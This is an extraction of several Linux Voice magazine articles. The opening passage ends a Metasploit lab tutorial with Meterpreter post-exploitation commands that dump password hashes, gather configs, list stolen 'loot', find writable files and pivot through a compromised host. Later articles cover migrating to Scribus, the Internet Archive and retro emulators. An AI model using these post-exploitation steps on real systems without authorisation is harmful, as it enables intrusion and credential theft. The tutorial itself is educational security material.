to us. Now that you know that you can
continue to access the server, you can start
looking into what you want to do with your
exploited machine.

Stealing loot
Another advantage of Meterpreter over a
normal command shell is the ability to run
scripts that are stored on the attacking
machine. There are a wide variety of
post-exploitation modules that come with
Metasploit that can be used to manipulate
the victim machine in some way. You can
view all the options by entering the following
in MSFConsole (not a Meterpreter shell):
search type:post
    Most of these are for Windows (that is,               There are three non-open web-based versions of Metasploit: the Community edition, the Express
the victim is Windows – they can be run                   and the Pro. The more you pay, the more automated your penetration testing can be.
from a Linux machine), but there are some
for Linux. If you switch back the Meterpreter             firewall. For example, an organisation may                      bandwidth for an attack.
shell (use sessions -i <number> if you’ve left            host a web server on its LAN and use a                             MSFConsole enables you to pivot a
it), you can run them with:                               public-facing router to forward all incoming                    compromised machine by routing your
meterpreter > run post/linux/gather/hashdump              traffic on port 80 to that web server. This                     traffic through it. This has a couple of
meterpreter > run post/linux/gather/enum_configs          means that if you get access to the web                         advantages. If the compromised machine
   These will search for password hashes                  server, you can then send traffic to machines                   is on another network, it means you can
and configuration files respectively. They                that simply weren’t accessible before.                          use the compromised machine to attack
will output some information to the screen,                  Here, you can go back to stage 1                             the LAN. Alternatively, you can use the
but they’ll also save all the details to the              (gathering information), and use the network                    compromised machine to hide your real
database. This interaction with the database              discovery techniques again to find out what                     identity. This is done using the route
is another advantage of the Meterpreter                   computers are available. This process is                        command, which takes the form:
shell. To get the data you’ve acquired from               essential for the penetration tester, but it’s                  route add <subnet> <netmask> <session>
the victim, exit                                                                        hard to simulate                     So, if you wanted to route all traffic
the Meterpreter        “Compromised machines can                                        (though not
                                                                                        impossible if
                                                                                                                          to subnet 192.168.56.0 with netmask
shell (with the                                                                                                           255.255.255.0 through Meterpreter session
background             be pivoted to attack computers                                   you want to                       1, you would use the line:
command), and          outside the network.”                                            spend some
                                                                                        time configuring
                                                                                                                          route add 192.168.56.0 255.255.255.0 1
then enter the
loot command.                                                                           host-only                         The adventure begins!
This will bring up a list of everything that’s            networks for multiple VMs on VirtualBox).                       There are loads more vulnerabilities in
been stolen from the victim, and where any                   Compromised machines can also be                             Metasploitable 2 you can investigate, and
files are stored on the attacking computer.               pivoted to attack computers outside                             lots more ways you can use Metasploit to
   Compromising one machine might give                    the network. This is a useful method of                         take advantage of the exploited machine.
you access to other machines on the same                  distancing yourself from the final target,                         By now you should know just how easy it
network that previously were protected by a               and can be a good way to gain additional                        is to take advantage of a known vulnerability.
                                                                                                                          These vulnerabilities aren’t usually published
                                                                                                                          until after the software has been patched,
  Exploring the system                                                                                                    so if you keep your software up to date,
  The better you know Linux, the more you’ll be             permission to write to with the command:                      you should be safe against the majority of
  able to learn about the system you’ve broken into,      for f in $(find / 2>/dev/null); do if [ -w $f ];then echo       attacks (though improper configurations
  and the better your post-exploit will go. There         $f;fi; done                                                     and poor passwords are also fertile ground
  are almost endless places you can get useful              Running services At the information gathering                 for attackers).
  information from; here are some places to start:          stage, you should have scanned the host to see
     /etc This directory contains all configuration         what was running, but that will just show what’s
                                                                                                                             You’ve also seen how easy it is to create
     files for the system. It can be complex to             publically accessible. There might be more (for               a backdoor on Linux (it’s just as easy on
     understand them, and mis-configurations are a          example, running on a different network port).                other OSes), so you shouldn’t believe that
     common source of bugs.                                 You can use the commands ps (to see all                       Linux offers any protection against running
     Permissions Linux sets permissions on a                running software) and netstat (to see servers                 insecure code. Only install software from
     file-by-file and directory-by-directory basis. You     listening on ports) to find out more.
                                                                                                                          trusted sources, otherwise you run a very
     can find all the directories your user has
                                                                                                                          real risk of being compromised.



                                                                          www.linuxvoice.com                                                                         25
     FEATURE MOVING TO SCRIBUS



        MOVING TO SCRIBUS: PART 1




           We’re dumping Adobe InDesign and moving to Scribus. Here’s the
            report on our first foray into open source desktop publishing.


          W
                       e want to help make open source and Free      formats such as XML, which we use to produce the
                       Software stronger. But we’re pragmatic,       ePub version of the magazine.
                       and proprietary software is sometimes           There’s only one viable open source alternative to
          unavoidable for everyone except Richard Stallman.          InDesign, and that’s Scribus. Like InDesign, Scribus is a
          From the proprietary code running on your mobile           desktop publishing application designed for many of
          phone’s transmitter, or the firmware in your television    the same scenarios we’ve just listed. It has a broadly
          or car, to local government, traffic lights, Netflix and   similar layout and interface, and on the surface, has
          medical systems. We all make compromises. At Linux         broadly similar capabilities.
          Voice, we’re 100% committed to open source, but we
          wanted our message to be delivered as professionally,      Faustian pact
          as effectively and efficiently as possible. When we        Our familiarity with InDesign is an important reason
          launched the magazine, this was only possible by           why we were able to fulfil our promise of getting a
          using InDesign.                                            magazine into shops less than two months after the
              We’ve used Adobe’s InDesign for almost all of our      conclusion of our successful Indiegogo campaign,
          15 issues, from early designs and postcards through        which we used to fund the magazine’s launch. We’d
          to the issue you’re                                                                        used it before, and that
          reading now. InDesign
          is an industry standard
                                       “There’s only one viable open                                 meant we could hit
                                                                                                     the ground running.
          ‘desktop publishing’ tool.   source alternative to Adobe                                   There’s a lot of work
          It takes images and text
          and gives our designer
                                       InDesign, and that’s Scribus.”                                that goes into designing
                                                                                                     a magazine. Every type
          the tools to enable her                                                                    of section is slightly
          to construct pages as quickly and professionally as        different – one page, two pages, four pages, column
          possible for publication. Publications could include       widths, bastard columns, paragraph styles, pullquotes,
          magazines like ours, newsletters, newspapers,              captions, font sizes, font kerning and usage.
          brochures and other printed material. And InDesign            In those early months, we also needed a piece of
          has also grown to include Adobe’s own digital              software we could trust – and trust only comes from
          platforms, as well as embracing online and digital         spending time with something. We literally send this



26                                                      www.linuxvoice.com
                                                                                              MOVING TO SCRIBUS FEATURE

magazine from our laptops to the company that does
the printing. The printer will have slots for their jobs,
and you can’t miss the slot. Similarly, they’re not paid
to check our documents for us. That means we’re
ultimately responsible for the pages that come out
the other end of the printer. If there’s a blank space,
missing images or the colours are wrong, it’s our fault.
When you’re hovering over a send button and you
know the printer is waiting to run off 25,000 copies
of what’s on your screen, you need to have complete
confidence in how you’ve created the documents and
how those documents are going to be read at the
other end.
   But we’ve always been committed to moving away
from InDesign, and it’s clear from the many comments
we’ve received, as well as the prominence of Scribus
in our profits sharing scheme, that this is something
our readers care about too. So we’re about to start
the migration process, and in so doing, we thought
we’d document our findings as we go along. And to
start with, we’re going to explain our general editorial
process so that you can understand where the design
                                                                                                                         Scribus is more powerful
part of all this fits in.                                    was expected and to make sure it makes sense. At
                                                                                                                         than InDesign when it
                                                             this stage, text isn’t checked too deeply unless there      comes to styles and the
Editorial process                                            are problems, because the nuts and bolts of editing is      story editor, and powerful
Layout is the only part of our process that involves         best done inside InDesign when you’re also fixing           options like JavaScript
proprietary software, so we don’t feel too guilty. Every     overmatter and the positioning of words.                    may even make magazine
other piece of software, with a marginal exception for                                                                   production easier.
photo portrait processing to correct under/over              The boss
exposure, is running on Linux and is open source.            It’s at this point that the words and images are sent
    It all starts with the writing, and we usually have      over to our designer, Stacey. Stacey has been with us
around a dozen people writing for us each issue. Most        from the very beginning, and it’s her designs and
use a variety of editors, including Vim, Emacs,              layout that have made the magazine what it is. She’s
LibreOffice, Gedit and Kate. The format our contributors     been a professional designer for many years, making
use to send their work to us is important, but it’s also     her well versed in the subtleties that come from a
very simple. We require flat ASCII text with a little        change of workflow and software. If open source is
simple added markup to denote page furniture like the        going to succeed at Linux Voice, it will need to pass
title, image captions and author byline.                     muster with Stacey as she takes the words and
    The images themselves need to be provided                images from our writers and spins them into what
separately and, unless they’re photos, they need to be       becomes the magazine. More importantly, this will
uncompressed PNG. We don’t require the writer to             need to be done under pressure, as the last week if
specify where these images should go exactly                 any one issue is usually a titanic and building
because we can’t put them in exact positions. The            crescendo of words coming in and deadlines getting
location of images in the final document depends on          ever closer. And the only way to test this, is to dive in
several other factors, not least the layout of the text on   and try it.
the page. Before the text can be laid out, the words are         We’d asked Stacey a couple of months ago to check
checked to make sure the author has written what             the viability of Scribus from her perspective. Stacey’s
                                                             computer is a Mac and she uses Apple’s OS X mostly
                                                             with InDesign. Having worked with all of us for the
                                                             best part of a decade, Stacey understands Linux and
                                                             open source. But she’s also entrenched in the world of
                                                             design, and that has meant a solid reliance on Adobe.
                                                             We’d argue that it would be a poor career decision not
                                                             to have the prerequisite skills in Adobe’s software, and
                                                             as employers, this is something important that we
                                                             also need to consider. Open source is certainly full of
                                                             potential for new skills and alternative ways of doing
InDesign’s functions are easier to access than Scribus’.     things, but we’d be foolish to not consider transferable
Font styles, options and properties are all available from   skills or experience when it comes to our own team’s
the toolbars, and object snapping is easy to use.            future.



                                                               www.linuxvoice.com                                                                27
     FEATURE MOVING TO SCRIBUS


                  Scribus in action
                  What’s it like to use compared with something that costs £100s?


                 D
                           ue to Apple’s restrictions on installing                     wizard with InDesign and you often want to dive into a
                           applications from sources other than its own                 specific document layout as soon as possible. Stacey
                           app store, Stacey wasn’t able to easily install              easily worked out how to change the measurement
                  Scribus and get it running, so we set a date for us to                system to millimetres, and quick access to the array
                  visit where she works and go through the most                         of fields that access the margin guides and bleed
                  common tasks ourselves. Our strategy was to spend                     values were essential. These are basically borders
                  the day working through the typical design process for                fundamental the layout and printing of the magazine,
                  a few of the features, and judge how viable Scribus is                with bleed values being necessary for the printer to
                  going to be as an alternative to InDesign.                            run right up to the edge of the paper.
                     After grabbing the latest install image from
                  SourceForge (a site that’s quickly becoming a                         Fifth column
                  problem for any open source advocate who wants                        One problem we did have was figuring out how to
                  to send someone a link to a binary download), we                      work with columns. There are normally several
                  got Scribus 1.4.5 installed quickly and easily. There                 methods, with the simplest being to manually add and
                  have been reports that Scribus doesn’t work well                      text boxes within a new document. But when you’re
                  with large documents, and our magazine is on the                      working with the same set of columns each time,
                  large side with 116 pages. When you include the                       InDesign saves a lot of time and effort by catering for
                  high-resolution images (our printer is capable of                     multiple column layouts from the beginning. We
                  reproducing thousands of dots per inch), our files can                weren’t expecting this, but Scribus hints at similar
                  be huge. However, when we’re building the magazine,                   support with a greyed-out option for columns in the
                  we create a separate file for every document we’re                    Options area startup wizard.
                  working on, which enables more than one person to                        It took us a while to work out how to get this field
                  work on the layout of the magazine at a time. The only                working. We created documents, changed options
                  time we need a single large document is when we’re                    and initially gave up before heading back to the wizard
                  checking for errors in the entire issue, just before we               after we found no other easy way to structure a
                  authorise the printers to go ahead, so we’ll need to                  document with columns. But the answer ended up
                  find a solution for this later.                                       being really obvious – just enable ‘Automatic Text
                     On first launch, we were greeted with a startup                    Frames’, which just happens to be the click box
                  wizard. This is good, because you get a similar                       directly above the ghosted out ‘Columns’ field.


                    Our criticisms
                    Our two biggest stumbling blocks throughout this whole              as these screens become more common. It’s also important
                    experiment were a lack of guidance from Scribus, and that           to note that we get support from Adobe when we encounter
                    most tasks took a couple of extra steps compared with               problems, which you can’t expect from an open source project
                    InDesign. Objects don’t snap against one another, and when          like Scribus. Fundamentally, however, we were able to do
                    you’re working with font alignment or different frames, you         everything we needed to – even though it may take longer to
                    need to align everything manually, rather than having Scribus       put the magazine together.
                    make an intelligent guess about the kind of layout you’re after.
                    This is something InDesign does very well, which we’d imagine
                    is thanks to hundreds of hours studying and logging how the
                    software is used.
                        We also found Master Pages a little cryptic. These enable
                    you to create a common background for your layouts, but
                    it’s not clear whether they’re global or saved as part of each
                    specific file. They’re also difficult to use, although we were
                    able to get enough page furniture into them to make them
                    useful (including page numbers). We also missed the ability to
                    flow text around text, such as in pull quotes, and the solution
                    required more manual intervention as you need to create a
                    custom frame. Considering there’s usually a pullquote on most
                    pages, this one omission could add a lot of work.
                        We also found a couple of bugs. When you save a file, if
                    you don’t enter a filename and instead highlight a folder, your
                    document will be named after the folder. Luckily, this doesn’t
                    overwrite the folder as the .sla extension is added, but it could   We didn’t encounter any magazine-breaking bugs, but
                    cause problems. The DPI settings also didn’t go high enough         the thought of going without professional support
                    for our high DPI display, but we imagine this will be addressed     makes us nervous.




28                                                     www.linuxvoice.com
                                                                                             MOVING TO SCRIBUS FEATURE

   With the number of columns selected and a press
of the OK button, the wizard dropped us into the
main window, which also has a lot in common with
InDesign. Guides for the columns we’d specified and
text blocks were already in position, ready for text to
be pasted directly into them. This saves you having to
create, align and link text blocks manually. Linking is
important, as it’s how a single piece of text flows from
one box to another.
   Another slight hitch is that most of the documents
we work on are ‘spreads’, which is two pages side-by-
side, but Scribus defaults to single pages. The solution
to this was to go back to the wizard and make sure
‘Double Sided’ was selected, as this would lay two
pages side by side as long as the first page was
flagged as being on the left-hand side.

Styles and properties
We started adding text by copying from one of our
writers’ text documents and pasting into where the
cursor appears within the page. This was simple: the
text flowed across the columns and pages without
                                                                                                                        The story editor is a
requiring any further interaction. We now needed to        are spaced across an entire document. It makes all
                                                                                                                        powerful way of editing
format different sections of this text, changing the       the difference between the default layout provided           and marking up text, but
font to Roboto and giving different attributes to          by Scribus and what should hopefully start to look           we seldom edit text while
different elements – the parts that separate sections,     like Linux Voice. This option was found in the Style         in the design phase.
for example, or the crossheads. This is best done via      editor when the window was enlarged to show the
the powerful ‘Styles’ and ‘Properties’ dialogs, although   full drop-down menu in the Distance and Alignment
it would be nice if they were combined.                    section. The baseline grid itself can be displayed from
   Just as with a word processor, styles can be            the Document Settings panel, and once selected
created to enable you to easily mark and modify            and configured, everything looked good. We then
sections of text, and there’s more than control over the   tested the baseline and text formatting by adding a
specific formatting and spacing of fonts for us. For       few images, and these worked as expected, although
large characters at the beginning of an article, known     there was no way of linking
as drop caps, the Scribus wiki points to a function we     an image to a caption and
couldn’t find, although the powerful implementation of     keeping them aligned.           “Styles can be created to
hierarchical character and paragraph styles were
more creative than those found in InDesign, and more
                                                              Before making a cup
                                                           of tea, we pretended to
                                                                                           enable you to easily mark
than capable of giving the same results.                   send our document to the        and modify sections of text.”
   With the challenge of fonts and styles behind us, the   printers. This involves two
next problem we needed to tackle was the baseline          steps – pre-flight checks
grid. This is fundamental to the way in which words        and production of the final output PDF. Pre-flight
                                                           tests will ensure the layout and image quality are
                                                           up to the specification of your output medium, and
                                                           Scribus offers more control over these thresholds than
                                                           InDesign, even if the option to ignore all errors seemed
                                                           slightly dangerous. The final output could also include
                                                           crop marks, colour bleed and registration marks,
                                                           which is exactly how our printer requires the files. Until
                                                           we use these files in a production run we won’t know
                                                           for sure, but it looks like Scribus is up to the job.
                                                              And that’s our overall impression, having worked
                                                           through this process for a couple of days. Scribus
                                                           includes all the features we need, which is incredible.
                                                           The only problem is going to be the added time it
                                                           takes to perform the extra steps it often requires, but
                                                           this may be mitigated by shortcuts and experience.
                                                           Both of which we’ll take a look at over the next few
We were able to recreate most of the layout created in     months as we take the next steps in migrating
InDesign within a few hours.                               magazine production to 100% Free Software.



                                                             www.linuxvoice.com                                                                29
     INTERNET ARCHIVE




          The Internet Archive
                 Join Mayank Sharma and marvel at the vision of the group
                         that’s on a mission to one-up the Greeks.



         S
                 ome people collect stamps; others collect               Just when the team were getting good at collecting
                 comics. Brewster Kahle collects the internet. Or,    the web, Kahle discovered that there were a lot of
                 at least that’s how he started. Once his appetite    things that were not on the internet yet: “So we
          was whetted, Kahle set his sights on bigger and better      swivelled and in 2002 we became an archive ON
          things. He now wants to archive and channel all the         the internet.” Inspired by the ancient Greek Library
          knowledge in the world. Kahle is the founder of the         of Alexandria, which housed the largest collection of
          Internet Archive, a non-profit he set up in 1996 right      text scrolls, Kahle set about to build its 21st Century
          around the time he co-founded the for-profit Alexa          equivalent by archiving books. “We worked with
          Internet. Recounting its start at the annual open           libraries around the world that had different types of
          house event at the company’s in San Francisco HQ in         media and started to digitise them cost-effectively to
          late 2014, Kahle said that the initial plan was – funnily   bring them to the screen generation.”
          enough – just to build an
          archive of the internet. By                                                                Executing the vision
          the mid 90s, people had      “Today the Internet Archive has                                According to Google,
          already started sharing
          things they knew and
                                       over 430bn websites, and is                                    there are over 129
                                                                                                      million different
          pouring their souls onto     adding about 10bn a week.”                                     published books, and
          the internet, and Kahle                                                                     scanning them all is a
          didn’t want this information to disappear.                  momentous task. After experimenting with robots and
             So the organisation started taking snapshots of          outsourcing the work to low-wage countries, the team
          websites and today has over 430 billion web pages,          decided to make their own book scanner.
          and is adding about a billion pages a week. Since             Currently, of the Archive’s 140 employees, 100 scan
          there’s an endless stream of web pages, its archiving       books along with several volunteers. Kahle told us
          system prioritises websites and caches some more            that they have 33 scanning centres with about 100
          often than others, but the goal is to cache some            scanners in total spread across eight countries that
          pages for every website every two months.                   scan books. Together they scan about a thousand



30                                                       www.linuxvoice.com
                                                                                                                           INTERNET ARCHIVE




                                                                      Left A computer science engineer by education,
                                                                      Brewster Kahle graduated from the Massachusetts
                                                                      Institute of Technology in 1982.
                                                                      Above Brewster Kahle, Robert Miller and Roger
                                                                      MacDonald, Director of the Television Archive, inside the
                                                                      Archive’s headquarters in San Francisco.

books daily and have scanned about 2.6 million in                        The Archive has a physical archive in Richmond,
all. There are other similar projects, such as Google                 California, that can house up to 3 million books for
Books, which has scanned over 1 million public                        upto 100 years. And it’s no ordinary warehouse.
domain books. But one thing that sets the Archive                     “We have high-density, long-term, deep storage
apart from the others is its effort to preserve at least              devices. These units that we have are hooked up with
one physical copy of the scanned book. In a blog post                 thermocouples to measure temperature and humidity.
(http://blog.archive.org/2011/06/06/why-preserve-                     Each one holds approximately 40,000 books”, explains
books-the-new-physical-archive-of-the-internet-                       Robert Miller, Global Director of Books at the Archive,
archive), the Archive talks of an unnamed library that                in a documentary (https://vimeo.com/59207751).
throws out books based on what’s been digitised by
Google. The Archive, on the other hand, has vowed to                  Knowledge repository
keep a copy of the books it digitises if it isn’t returned            After getting a handle on scanning books, the Archive
to a library.                                                         set it sights on to other media types – audio and


  Behind the archive.org redesign
  By the time you read this, the Internet Archive’s website should
  be wearing a new look. But there’s more to the redesign than
  a cosmetic uplift. Explaining the redesign in a blog post, its
  Director of Web Services, Alexis Rossi, writes that the current
  look of the site dates back to 2002 and has only had minor
  design changes and some usability feature additions over the
  years. One of the biggest reasons for overhauling the interface
  is that the archive now hosts a lot more data than it did over a
  decade ago. From just about 3TB worth of books, audios and
  videos in 2002, the collection has now grown to over 10,000TB,
  and that doesn’t include the almost two decades worth of web
  pages. Similarly, the number of daily users has also grown
  exponentially (Archive.org is one of the top 200 websites on the
  web and gets around 2.5 million individuals who use the items
  it hosts daily). Furthermore, about 30% of these users access
  the archive from a mobile device – a demographic that isn’t
  served well by the current website.
      According to Rossi, the group got serious about overhauling
  the website in January 2014. It hired people, and conducted
  interviews to better understand how people interacted with the
  website and the archived items. After months of work, the new
  website was launched in beta in November 2014 with “more
  visual cues to help you find things, facets on collections to
  quickly get you where you want to go, easy searching within
  collections, user pages, and many more.”
      Demoing the beta at the open house event, Kahle said the
  new website isn’t just designed to find and serve the collections
  it currently archives, but also caters to users who wish to add
  items and create collections.




                                                                        www.linuxvoice.com                                                    31
     INTERNET ARCHIVE

                                                                                                  from 11 September, 2001 in a bid to understand and
                                                                                                  analyse the reporting of the worldwide media in the
                                                                                                  days following the attacks. Using this they were able
                                                                                                  to dispel the myth that the Palestinians were dancing
                                                                                                  in the streets post 9/11, shares Kahle in his Ted talk. In
                                                                                                  his words: “How can we have critical thinking without
                                                                                                  being able to quote and being able to compare what
                                                                                                  happened in the past?”
                                                                                                     The Archive is also a big collector of music and all
                                                                                                  sorts of audio. It has digitised music from all types of
                                                                                                  vinyl records and archived music from optical discs.
                                                                                                  In his open house address, Kahle mentioned that
                                                                                                  the Archive deliberated on ways to archive music
                                                                                                  so as to not disrupt musicians and people who are
                                                                                                  still trying to make money distributing music. The
                                                                                                  Archive approached a couple of labels and offered to
                                                                                                  archive their material and then brainstorm together
Anyone who works at the
                                 video. But unlike the relatively small ebooks, audio             on how to make it available. It found willing partners
Archive for three years is
honoured with a terracotta       and video media types typically require much larger              in Music Omnia and Other Minds, which offered their
statue inside the HQ, which      storage space.                                                   portfolio of CDs for digitisation and are working with
used to be a Christian              Illustrating the challenge at Ted, Kahle said “If you         the Archive to “figure out how far we can go in such a
Science church.                  give something to a charity or to the public, you get a          way that it’s a good balance between the commercial
                                 pat on the back and a tax donation. Except on the Net,           constraints of a real label with the interests of what
                                 where you can go broke. If you put up a video of your            you can do if you have it all in one place.” Similarly, the
                                 garage band, and it starts getting heavily accessed,             group has tied up with the Archive of Contemporary
                                 you can lose your guitars or your house.” This                   Music and is digitising its collection of 500,000 CDs
                                 realisation led the Archive to offer unlimited storage           before moving on to its couple of million vinyl records.
                                 and bandwidth to “anybody who has something to                      Since commercial music is such a heavily litigated
                                 share that belongs in a library.”                                area, Kahle mentions that the Archive is also looking
                                    Since 2005, the Archive has been collecting moving            at other niches “that aren’t served terribly well by the
                                 images of all types. Besides theatrical releases of              classic commercial publishing system.” One such
                                 movies that are out of copyright, the Archive houses             niche is concert recordings. It started with recordings
                                 lots of other types of movies sourced from the                   of the Grateful Dead (one of their members was John
                                 institutions and individuals around the world. These             Perry Barlow, co-founder of the Electronic Frontier
                                 include political films, non-English language videos,            Foundation). Now the Archive gets about two or
                                 stock footage, sports videos, and a lot of amateur               three bands a day signing up. “They give permission,
                                 films. For example, the Archive hosts over 250 hours             and we get about 40 or 50 concerts a day”, shares
                                 of video lectures and interviews with Dr Timothy                 Kahle. The Archive has also partnered with the
                                 Leary, one of the century’s most controversial figures           etree.org community and houses their collection
                                 and inspiration for many of the early technologists              of over 1,00,000 concert recordings. Additionally,
                                 including Kahle.                                                 the Archive has also imported over 42,000 albums
                                    The Archive has a special interest in television,             from the now defunct Internet Underground Music
                                 particularly in news. The group recorded 24 hours of             Archive community and over 58,000 items of Creative
                                 news channels from around the world for one week                 Commons-licensed catalogs of Netlabels.


  The Internet Arcade
  At its annual event in October, 2014, the       the Internet Archive is involved with. In
  Archive took the wraps off the newest           addition to the games for classic gaming
  addition to its website – the Internet Arcade   consoles such as the Atari 2600, Atari 7800,
  (https://archive.org/details/internetarcade).   and Astrocade on the Internet Arcade,
  It’s a web-based library of vintage arcade      you can also play over 2400 classic DOS
  games from the 70s, 80s and 90s. The best       games in the Archive’s software library for
  thing about the collection is that you can      MS-DOS games (https://archive.org/details/
  experience and play these games from within     softwarelibrary_msdos_games) thanks to the
  the browser itself!                             efforts of Jason Scott, who is equally adept
       The games are emulated in the JSMESS       hacking away on his computer and filming
  emulator, which is a JavaScript port of         documentaries.
  the popular Multi Emulator Super System             Zoom out a bit more and the Archive’s
  (MESS). The JSMESS emulation project            software library includes over 95,000 vintage   If you’re in San Francisco on a Friday afternoon, head
  is one of many open source projects that        and historical programs.                        down to the Archive’s HQ for a free lunch and a tour of the
                                                                                                  facilities by Brewster Kahle himself.



32                                                                   www.linuxvoice.com
                                                                                                                    INTERNET ARCHIVE


                                                              The Table Top Scribe
                                                              The Internet Archive’s scanner is an all-           The Internet Archive sells these scanners
                                                              round hardware, software and digital library    for a shade under $10,000 (about ₤6,800).
                                                              solution. The scanner can capture A3, A4        Libraries can use the scanner to scan and
                                                              and A5-sized pamphlets, bound or loose          store the images locally at no additional
                                                              leaf material, archival items and more. The     cost. The Archive also offers an add-on
                                                              base system is built on two 18-megapixel        Gold Package, which offers several benefits
                                                              digital cameras. The Table Top Scribe, as       including the ability to auto-upload the
                                                              the device is known, has a V-shaped cradle      scanned items to archive.org and the
                                                              for bound materials such as books and an        Archive’s back-end processing including QA,
                                                              add-on for scanning flat items such as maps.    OCR’d images, and more. It costs $0.04 per
                                                              The scanner can digitise pages at the rate of   image and subscribers aren’t charged for the
                                                              500–800 pages per hour.                         first 50 books or 12,000 pages.




Aaron Swartz, who helped establish the Archive’s Open
Library project, is among those with a terracotta statue.

   As with video, Kahle’s intention is to preserve
these classic musical collections that help define the
generation’s musical heritage. The Archive is feeding
its musical archive to researchers such as Prof. Daniel
Ellis of Columbia University, who is studying the link
between signal processing and listener behaviour. The
group is also using technology developed by the UPF
University in Barcelona, which can identify rhythmic
structures, chord structures and other metadata from
the music to help them sort it in novel ways.
                                                              Lan Zhu, a scanner at Internet Archive, scanning a book using the Table Top Scribe.
Universal access
Digitising books, audio and video is just one part
(albeit a big one) of the process of building a             has already burned once. So if that’s what happens
generational archive. The archive puts in a lot of effort   to libraries, let’s design for it.” The biggest lesson the
to preserve data and to keep it relevant. But there’s       Archive has learnt from the burning of the ancient
more to do than just replacing bad disks. “Can you          Library of Alexandria is to keep multiple copies, which
read the old formats? We’ve had to translate our            is a relatively easier task in the digital age. So the
movies over five times”, says Kahle.                        Archive has made a partial mirror of itself and put it in
   However, the biggest weakness the Archive                the new Library of Alexandria and another partial copy
insulates against is institutional failure. “The problem    in Amsterdam.
with libraries is that they burn. They get burned by           Of course, archiving all this culture is a massive
governments. That’s not a political statement, it’s just    job, so the group is building a complete set of tools to
historically what happened. The Library of Congress         help communities and individuals to store, catalogue
                                                            and sort through culturally relevant collections. “What
                                                            Wikimedia did for encyclopedia articles, the Internet
                                                            Archive hopes to do for collections of media: give
                                                            people the tools to build library collections together
                                                            and make them accessible to everyone.”
                                                               The Internet Archive has preserved over 430bn web
                                                            pages, and about 20m books are downloaded from its
                                                            website every month. “We get more visitors in a year
                                                            than most libraries do in a lifetime”, writes Kahle.
                                                               Thanks to the positive experience over the last
                                                            decade, the Archive is of the firm belief that building
                                                            a digital library of Alexandria is just a matter of scale
                                                            and money. “Everything we do is open source, and
As a non-profit, the Archive depends heavily on user        all the things we do we try to give away. Can you
donations to keep its 20 petabytes of information flowing   make it work to give everything away? This is a real
– and it even takes Bitcoins.                               experiment and it’s turning out to work”.



                                                              www.linuxvoice.com                                                                          33
     FEATURE RETROSTALGIA




             Need to run some old software? Fancy reliving the glory days of
                     8-bit consoles? Mike Saunders shows you how.


         W
                      irth’s law states that software is getting     Today, it’s possible to emulate many computers
                      slower more rapidly than hardware is         and video games consoles at full speed, and even do
                      becoming faster. We see this all the time    extra tricks (like up-scaling graphics to work better
          with giant, bloated apps                                                                  with high-resolution
          and frameworks, where
          everything is so
                                      “It’s possible to emulate many                                displays). Over the next
                                                                                                    few pages we’ll explore
          abstracted away that        computers and video games                                     a selection of the best
          even rendering a single
          pixel on the screen takes
                                      consoles at full speed.”                                      emulators available for
                                                                                                    Linux – let’s party like
          millions of CPU cycles.                                                                   it’s 1988!
          But there’s one category of software that hasn’t been
          afflicted by this, and it’s emulators. They have         MS-DOS
          benefited enormously from boosts in CPU power over       Few people have fond memories of MS-DOS, due the
          the last decade.                                         tedious fiddling in AUTOEXEC.BAT and CONFIG.SYS



34                                                     www.linuxvoice.com
                                                                                                              RETROSTALGIA FEATURE

that was required to make many programs run. On
Linux, there are two programs that emulate a PC and
provide an implementation of DOS: the first being
DOSEMU, which hasn’t been updated for many years
and can be tricky to set up, and the latter is DOSBox,
which is fantastic and what we’ll concentrate on here.
DOSBox is available in the package repositories of all
major distros, so have a nosey around in your
package manager to find it, or grab the source code
from www.dosbox.com.
   If you start it from a terminal window by entering
dosbox, a new window will appear representing the
emulated PC, with a DOS session inside. Look at the
prompt and you’ll see that you’re initially on the Z:
drive; enter dir to list the programs inside. Some basic
tools are provided for a functioning DOS session, but
how do you access your programs?
   The solution is to use mounting. In your home
                                                                                                                                Frontier was released in
directory, create a folder called DOS and place some        buttons to assign them to your real joypad. With that
                                                                                                                                1993 and had planetary
DOS programs inside. Back in DOSBox, enter the              done, go to File > Open to load a ROM and begin                     landings. Elite Dangerous,
following commands:                                         playing. Nestopia lets you save and restore states –                over 20 years later, doesn’t.
mount c /home/mike/DOS                                      that is, snapshots of the emulated NES’s RAM – so                   Pull your thumb out,
c:                                                          you can store your progress right before taking on a                Braben!
   (Of course, change /home/mike to match your login        particularly hairy jump or boss.
name here.) This makes /home/mike/DOS accessible               If you were more of a Sega fan, you’ll be on the
as a C: drive inside DOSBox, so entering c: switches to     lookout for a Master System or Game Gear emulator.
that virtual drive, and you can now run programs just       These machines were largely identical internally,
as you would normally.                                      sporting the same Z80 processor and other chips.
   Now, entering those commands every time you              The Game Gear had a larger colour palette, but you
run DOSBox could get tiresome, but there are ways to        could get an adaptor for it to run Master System
automate it. When you first run the program, a hidden       games, and porting between the two consoles was
directory is created inside your home directory called      a doddle for developers. Many Game Gear units
.dosbox. So if you cd into that and enter ls, you’ll see    have stopped working over the years or developed
an auto-generated configuration file containing the         unusable displays; it’s possible to rectify this with
DOSBox version number – eg dosbox-0.74.conf.                some soldering work, but for most of us, emulation is
Edit this file, and scroll right down to the [autoexec]     the simplest option.
section at the bottom. Anything you add here will be           The best emulator here is Mednafen (http://
automatically run when DOSBox starts, so place your         mednafen.sf.net). This is actually a multi-system
mount command(s) here.                                      emulator, and along with the Master System and
   When you’re running DOS games, DOSBox may                Game Gear it can also emulate the Super NES,
capture the mouse cursor inside its window. To get          Game Boy (original, Colour and Advance), Atari Lynx,
it back, press Ctrl+F10. If you find your games not         Virtual Boy and other systems. Search for it in your
running smoothly enough, try using Ctrl+F12 to              distro’s package manager, or to build it from source
increase the number of CPU cycles that are emulated         code install the development headers for libsdl1.2,
each millisecond (they’re shown in the titlebar). You       libasound, libsndfile and zlib1g.
can reduce them with Ctrl+F11, and set the number
permanently in the configuration file. Also, search
for the sensitivity setting and reduce it if you find the     Running Windows software
mouse pointer too jumpy. For more tips on using
                                                              If you have a copy of Windows sitting            snapshots for quick rollbacks if an update or
DOSBox, switch to the Z: drive and enter intro.               around on a DVD, you can install it inside       installation goes wrong.
                                                              a virtual machine such as VirtualBox. This           Another option is to use Wine, which
Consoles: 8-bit and 16-bit                                    is also included in many distro’s package        lets you run Windows programs on Linux
For emulating Nintendo’s classic 8-bit NES console,           repositories – or grab it from                   (it intercepts Windows system calls and
                                                              www.virtualbox.org.                              redirects them to their Linux equivalents).
we recommend Nestopia, available in most distro’s
                                                                  The main benefit to this approach is that    The main benefit here is that you don’t need
package repositories or at http://nestopia.sf.net.            your Windows software is almost guaranteed       a copy of Windows, and it’s open source. For
